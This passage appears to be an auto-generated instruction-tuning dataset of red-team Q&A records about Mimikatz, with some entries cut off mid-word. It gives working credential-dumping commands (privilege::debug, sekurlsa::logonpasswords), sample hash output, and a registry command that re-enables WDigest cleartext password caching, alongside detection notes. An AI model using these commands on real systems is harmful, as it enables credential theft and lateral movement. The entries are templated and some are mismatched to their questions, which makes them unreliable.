"security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048296Z", "updated_at": "2025-12-18T00:11:32.048296Z"} +{"id": "trtp-4244f43f3787", "instruction": "What is Mimikatz and how is it used in security?", "output": "Mimikatz Overview\n\nMimikatz is a credential extraction tool that retrieves passwords, hashes, Kerberos tickets, and tokens from Windows memory. Essential to understand for defensive purposes as it's heavily used by attackers.\n\nPlatform: windows\n\nCommon uses:\n- Credential extraction (attack)\n- Security testing\n- Detection validation\n- Understanding attacker techniques", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048506Z", "updated_at": "2025-12-18T00:11:32.048506Z"} +{"id": "trtp-4d40cecf4f5d", "instruction": "What command or query syntax does Mimikatz use?", "output": "Syntax for Mimikatz:\n\nmimikatz.exe\n\nMimikatz is a credential extraction tool that retrieves passwords, hashes, Kerberos tickets, and tokens from Windows memory. Essential to understand for defensive purposes as it's heavily used by attackers.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048521Z", "updated_at": "2025-12-18T00:11:32.048521Z"} +{"id": "trtp-531e75d99441", "instruction": "Show me an example of Mimikatz in action.", "output": "Example of Mimikatz Overview:\n\n```\n# Interactive mode\nmimikatz.exe\nmimikatz # privilege::debug\nmimikatz # sekurlsa::logonpasswords\n\n# Command line mode\nmimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" exit\n```\n\nInterpretation: Outputs usernames, NTLM hashes, and potentially cleartext passwords", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048532Z", "updated_at": "2025-12-18T00:11:32.048532Z"} +{"id": "trtp-a5021a6586f0", "instruction": "In what scenarios is Mimikatz useful?", "output": "Use cases for Mimikatz:\n\n- Credential extraction (attack)\n- Security testing\n- Detection validation\n- Understanding attacker techniques\n\nMimikatz is a credential extraction tool that retrieves passwords, hashes, Kerberos tickets, and tokens from Windows memory. Essential to understand for defensive purposes as it's heavily used by atta", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048545Z", "updated_at": "2025-12-18T00:11:32.048545Z"} +{"id": "trtp-0e9bc525b260", "instruction": "How do I interpret Mimikatz output?", "output": "Interpreting Mimikatz output:\n\nOutputs usernames, NTLM hashes, and potentially cleartext passwords\n\nExample output:\n```\n# Interactive mode\nmimikatz.exe\nmimikatz # privilege::debug\nmimikatz # sekurlsa::logonpasswords\n\n# Command line mode\nmimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" exit\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048555Z", "updated_at": "2025-12-18T00:11:32.048555Z"} +{"id": "trtp-2b979526a2d8", "instruction": "What are some tips for using Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Detection: LSASS access with 0x1010\n- Blocked by Credential Guard\n- Many EDR solutions detect/block\n\nUseful for: Credential extraction (attack), Security testing, Detection validation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048567Z", "updated_at": "2025-12-18T00:11:32.048567Z"} +{"id": "trtp-6c2038676b55", "instruction": "How do red teamers use Mimikatz?", "output": "Offensive security uses of Mimikatz:\n\nMimikatz is a credential extraction tool that retrieves passwords, hashes, Kerberos tickets, and tokens from Windows memory. Essential to understand for defensive purposes as it's heavily used by attackers.\n\nExample:\n```\n# Interactive mode\nmimikatz.exe\nmimikatz # privilege::debug\nmimikatz # sekurlsa::logonpasswords\n\n# Command line mode\nmimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" exit\n```\n\nCapabilities:\n- Credential extraction (attack)\n- Security testing\n- Detection validation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048581Z", "updated_at": "2025-12-18T00:11:32.048581Z"} +{"id": "trtp-0e9015cb28b9", "instruction": "What's the process for analyzing data with Mimikatz?", "output": "Workflow for Mimikatz Overview:\n\n1. Understand the context: Mimikatz is a credential extraction tool that retrieves passwords, hashes, Kerberos tickets, and tokens from Windows memory. Essential to understand for defensive purposes as it's heavily used by atta\n\n2. Apply the tool:\n```\n# Interactive mode\nmimikatz.exe\nmimikatz # privilege::debug\nmimikatz # sekurlsa::logonpasswords\n\n# Command line mode\nmimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" exit\n```\n\n3. Common scenarios: Credential extraction (attack), Security testing, Detection validation\n\n4. Best practices:\n - Detection: LSASS access with 0x1010\n - Blocked by Credential Guard", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048596Z", "updated_at": "2025-12-18T00:11:32.048596Z"} +{"id": "trtp-228e0f488a59", "instruction": "When should I use Mimikatz versus other similar tools?", "output": "Advantages of Mimikatz:\n\nMimikatz is a credential extraction tool that retrieves passwords, hashes, Kerberos tickets, and tokens from Windows memory. Essential to understand for defensive purposes as it's heavily used by attackers.\n\nBest suited for:\n- Credential extraction (attack)\n- Security testing\n- Detection validation\n- Understanding attacker techniques\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048611Z", "updated_at": "2025-12-18T00:11:32.048611Z"} +{"id": "trtp-8b7e0c05f559", "instruction": "How do I use Mimikatz alongside other tools in my toolkit?", "output": "Integration points for Mimikatz:\n\nMimikatz is a credential extraction tool that retrieves passwords, hashes, Kerberos tickets, and tokens from Windows memory. Essential to understand for defensive purposes as it's heavily used by atta\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048483Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048626Z", "updated_at": "2025-12-18T00:11:32.048626Z"} +{"id": "trtp-223e16ba6c23", "instruction": "What is Mimikatz and how is it used in security?", "output": "privilege::debug\n\nEnables SeDebugPrivilege which allows accessing other processes' memory, required for LSASS credential extraction. Must be run as administrator.\n\nPlatform: windows\n\nCommon uses:\n- Enable LSASS access\n- Required for credential extraction\n- Process manipulation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048818Z", "updated_at": "2025-12-18T00:11:32.048818Z"} +{"id": "trtp-e0c16ed3bd26", "instruction": "Show me the basic syntax for Mimikatz.", "output": "Syntax for Mimikatz:\n\nprivilege::debug\n\nEnables SeDebugPrivilege which allows accessing other processes' memory, required for LSASS credential extraction. Must be run as administrator.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048831Z", "updated_at": "2025-12-18T00:11:32.048831Z"} +{"id": "trtp-e3586e7c3045", "instruction": "Demonstrate privilege::debug with an example.", "output": "Example of privilege::debug:\n\n```\nmimikatz # privilege::debug\nPrivilege '20' OK\n\n# Required before most credential commands\n# Fails without admin rights\n```\n\nInterpretation: Returns 'Privilege '20' OK' if successful", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048844Z", "updated_at": "2025-12-18T00:11:32.048844Z"} +{"id": "trtp-5d452a31fed9", "instruction": "What security tasks can I accomplish with Mimikatz?", "output": "Use cases for Mimikatz:\n\n- Enable LSASS access\n- Required for credential extraction\n- Process manipulation\n\nEnables SeDebugPrivilege which allows accessing other processes' memory, required for LSASS credential extraction. Must be run as administrator.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048855Z", "updated_at": "2025-12-18T00:11:32.048855Z"} +{"id": "trtp-530611fb4075", "instruction": "What do the results from Mimikatz mean?", "output": "Interpreting Mimikatz output:\n\nReturns 'Privilege '20' OK' if successful\n\nExample output:\n```\nmimikatz # privilege::debug\nPrivilege '20' OK\n\n# Required before most credential commands\n# Fails without admin rights\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048866Z", "updated_at": "2025-12-18T00:11:32.048866Z"} +{"id": "trtp-bdc497ae2fb0", "instruction": "What best practices should I follow when using Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Requires local admin\n- Detection: Token manipulation events\n- First command to run\n\nUseful for: Enable LSASS access, Required for credential extraction, Process manipulation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048878Z", "updated_at": "2025-12-18T00:11:32.048878Z"} +{"id": "trtp-306ff2a7cdee", "instruction": "What attack techniques can be performed with Mimikatz?", "output": "Offensive security uses of Mimikatz:\n\nEnables SeDebugPrivilege which allows accessing other processes' memory, required for LSASS credential extraction. Must be run as administrator.\n\nExample:\n```\nmimikatz # privilege::debug\nPrivilege '20' OK\n\n# Required before most credential commands\n# Fails without admin rights\n```\n\nCapabilities:\n- Enable LSASS access\n- Required for credential extraction\n- Process manipulation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048892Z", "updated_at": "2025-12-18T00:11:32.048892Z"} +{"id": "trtp-ba29acb5d2aa", "instruction": "How do I incorporate Mimikatz into my security workflow?", "output": "Workflow for privilege::debug:\n\n1. Understand the context: Enables SeDebugPrivilege which allows accessing other processes' memory, required for LSASS credential extraction. Must be run as administrator.\n\n2. Apply the tool:\n```\nmimikatz # privilege::debug\nPrivilege '20' OK\n\n# Required before most credential commands\n# Fails without admin rights\n```\n\n3. Common scenarios: Enable LSASS access, Required for credential extraction, Process manipulation\n\n4. Best practices:\n - Requires local admin\n - Detection: Token manipulation events", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048906Z", "updated_at": "2025-12-18T00:11:32.048906Z"} +{"id": "trtp-f295ecf8a8ee", "instruction": "When should I use Mimikatz versus other similar tools?", "output": "Advantages of Mimikatz:\n\nEnables SeDebugPrivilege which allows accessing other processes' memory, required for LSASS credential extraction. Must be run as administrator.\n\nBest suited for:\n- Enable LSASS access\n- Required for credential extraction\n- Process manipulation\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048919Z", "updated_at": "2025-12-18T00:11:32.048919Z"} +{"id": "trtp-43be166b88e9", "instruction": "How does Mimikatz integrate with other security tools?", "output": "Integration points for Mimikatz:\n\nEnables SeDebugPrivilege which allows accessing other processes' memory, required for LSASS credential extraction. Must be run as administrator.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-privilegedebug", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048796Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048933Z", "updated_at": "2025-12-18T00:11:32.048933Z"} +{"id": "trtp-4702defe2417", "instruction": "How do security analysts use Mimikatz?", "output": "sekurlsa::logonpasswords\n\nExtracts credentials from LSASS memory including NTLM hashes, Kerberos tickets, and potentially cleartext passwords (if WDigest enabled).\n\nPlatform: windows\n\nCommon uses:\n- Extract all cached credentials\n- Pass-the-hash preparation\n- Credential theft detection", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049120Z", "updated_at": "2025-12-18T00:11:32.049120Z"} +{"id": "trtp-6d31b3c6f754", "instruction": "How do I use Mimikatz?", "output": "Syntax for Mimikatz:\n\nsekurlsa::logonpasswords\n\nExtracts credentials from LSASS memory including NTLM hashes, Kerberos tickets, and potentially cleartext passwords (if WDigest enabled).", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049134Z", "updated_at": "2025-12-18T00:11:32.049134Z"} +{"id": "trtp-b2d818cd6f7a", "instruction": "How would I use Mimikatz for Extract all cached credentials?", "output": "Example of sekurlsa::logonpasswords:\n\n```\nmimikatz # sekurlsa::logonpasswords\n\nAuthentication Id : 0 ; 999 (00000000:000003e7)\nSession : UndefinedLogonType from 0\nUser Name : Administrator\nDomain : CORP\nLogon Server : DC01\n NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0\n SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709\n * Username : Administrator\n * Domain : CORP\n * Password : (null) or cleartext if WDigest enabled\n```\n\nInterpretation: NTLM hash can be used for pass-the-hash. Cleartext appears if WDigest enabled.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049147Z", "updated_at": "2025-12-18T00:11:32.049147Z"} +{"id": "trtp-ca7e526ef425", "instruction": "Show me an example of Mimikatz in action.", "output": "Here is a practical example of Mimikatz:\n\n```\nmimikatz # sekurlsa::logonpasswords\n\nAuthentication Id : 0 ; 999 (00000000:000003e7)\nSession : UndefinedLogonType from 0\nUser Name : Administrator\nDomain : CORP\nLogon Server : DC01\n NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0\n SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709\n * Username : Administrator\n * Domain : CORP\n * Password : (null) or cleartext if WDigest enabled\n```\n\nExtracts credentials from LSASS memory including NTLM hashes, Kerberos tickets, and potentially cleartext passwords (if WDigest enabled).", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049158Z", "updated_at": "2025-12-18T00:11:32.049158Z"} +{"id": "trtp-7818f9940d55", "instruction": "When should I use Mimikatz?", "output": "Use cases for Mimikatz:\n\n- Extract all cached credentials\n- Pass-the-hash preparation\n- Credential theft detection\n\nExtracts credentials from LSASS memory including NTLM hashes, Kerberos tickets, and potentially cleartext passwords (if WDigest enabled).", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049170Z", "updated_at": "2025-12-18T00:11:32.049170Z"} +{"id": "trtp-9639c537f816", "instruction": "How do I read Mimikatz output?", "output": "Interpreting Mimikatz output:\n\nNTLM hash can be used for pass-the-hash. Cleartext appears if WDigest enabled.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049181Z", "updated_at": "2025-12-18T00:11:32.049181Z"} +{"id": "trtp-3684f5f3293f", "instruction": "What are common tips for Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Detection: Sysmon Event 10 to LSASS\n- 4656/4663 for LSASS access\n- Use for understanding attacker TTP\n\nUseful for: Extract all cached credentials, Pass-the-hash preparation, Credential theft detection", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049193Z", "updated_at": "2025-12-18T00:11:32.049193Z"} +{"id": "trtp-a13fe0223e29", "instruction": "What capabilities does Mimikatz provide for offensive security?", "output": "Offensive security uses of Mimikatz:\n\nExtracts credentials from LSASS memory including NTLM hashes, Kerberos tickets, and potentially cleartext passwords (if WDigest enabled).\n\nCapabilities:\n- Extract all cached credentials\n- Pass-the-hash preparation\n- Credential theft detection", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049206Z", "updated_at": "2025-12-18T00:11:32.049206Z"} +{"id": "trtp-a9098989c738", "instruction": "What is the typical workflow for using Mimikatz?", "output": "Workflow for sekurlsa::logonpasswords:\n\n1. Understand the context: Extracts credentials from LSASS memory including NTLM hashes, Kerberos tickets, and potentially cleartext passwords (if WDigest enabled).\n\n2. Apply the tool:\n```\nmimikatz # sekurlsa::logonpasswords\n\nAuthentication Id : 0 ; 999 (00000000:000003e7)\nSession : UndefinedLogonType from 0\nUser Name : Administrator\nDomain : CORP\nLogon Server : DC01\n NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0\n SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709\n * Username : Administrator\n * Domain : CORP\n * Pa\n```\n\n3. Common scenarios: Extract all cached credentials, Pass-the-hash preparation, Credential theft detection\n\n4. Best practices:\n - Detection: Sysmon Event 10 to LSASS\n - 4656/4663 for LSASS access", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049221Z", "updated_at": "2025-12-18T00:11:32.049221Z"} +{"id": "trtp-49a02711c92d", "instruction": "When should I use Mimikatz versus other similar tools?", "output": "Advantages of Mimikatz:\n\nExtracts credentials from LSASS memory including NTLM hashes, Kerberos tickets, and potentially cleartext passwords (if WDigest enabled).\n\nBest suited for:\n- Extract all cached credentials\n- Pass-the-hash preparation\n- Credential theft detection\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049235Z", "updated_at": "2025-12-18T00:11:32.049235Z"} +{"id": "trtp-63b93b8f2bf9", "instruction": "How do I use Mimikatz alongside other tools in my toolkit?", "output": "Integration points for Mimikatz:\n\nExtracts credentials from LSASS memory including NTLM hashes, Kerberos tickets, and potentially cleartext passwords (if WDigest enabled).\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsalogonpasswords", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049098Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049249Z", "updated_at": "2025-12-18T00:11:32.049249Z"} +{"id": "trtp-1307b0a31270", "instruction": "What do I need to know about Mimikatz?", "output": "sekurlsa::wdigest\n\nWDigest authentication stores cleartext passwords in memory. Disabled by default in Windows 8.1+/2012 R2+ but can be re-enabled by attackers.\n\nPlatform: windows\n\nCommon uses:\n- Cleartext password extraction\n- Legacy system compromise\n- Understand persistence technique", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049470Z", "updated_at": "2025-12-18T00:11:32.049470Z"} +{"id": "trtp-ebc7966ff5e5", "instruction": "Show me the basic syntax for Mimikatz.", "output": "Syntax for Mimikatz:\n\nsekurlsa::wdigest\n\nWDigest authentication stores cleartext passwords in memory. Disabled by default in Windows 8.1+/2012 R2+ but can be re-enabled by attackers.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049491Z", "updated_at": "2025-12-18T00:11:32.049491Z"} +{"id": "trtp-ac7bba2da746", "instruction": "Show me an example of Mimikatz in action.", "output": "Example of sekurlsa::wdigest:\n\n```\n# Check for WDigest credentials\nmimikatz # sekurlsa::wdigest\n\n# Attacker technique to enable WDigest:\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1\n\n# Then wait for user logon, credentials cached in cleartext\n```\n\nInterpretation: Shows cleartext passwords if WDigest is enabled and user logged in after", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049503Z", "updated_at": "2025-12-18T00:11:32.049503Z"} +{"id": "trtp-8ec7dbccc8cf", "instruction": "Show me an example of Mimikatz in action.", "output": "Here is a practical example of Mimikatz:\n\n```\n# Check for WDigest credentials\nmimikatz # sekurlsa::wdigest\n\n# Attacker technique to enable WDigest:\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1\n\n# Then wait for user logon, credentials cached in cleartext\n```\n\nWDigest authentication stores cleartext passwords in memory. Disabled by default in Windows 8.1+/2012 R2+ but can be re-enabled by attackers.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049514Z", "updated_at": "2025-12-18T00:11:32.049514Z"} +{"id": "trtp-d05847766719", "instruction": "When should I use Mimikatz?", "output": "Use cases for Mimikatz:\n\n- Cleartext password extraction\n- Legacy system compromise\n- Understand persistence technique\n\nWDigest authentication stores cleartext passwords in memory. Disabled by default in Windows 8.1+/2012 R2+ but can be re-enabled by attackers.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": 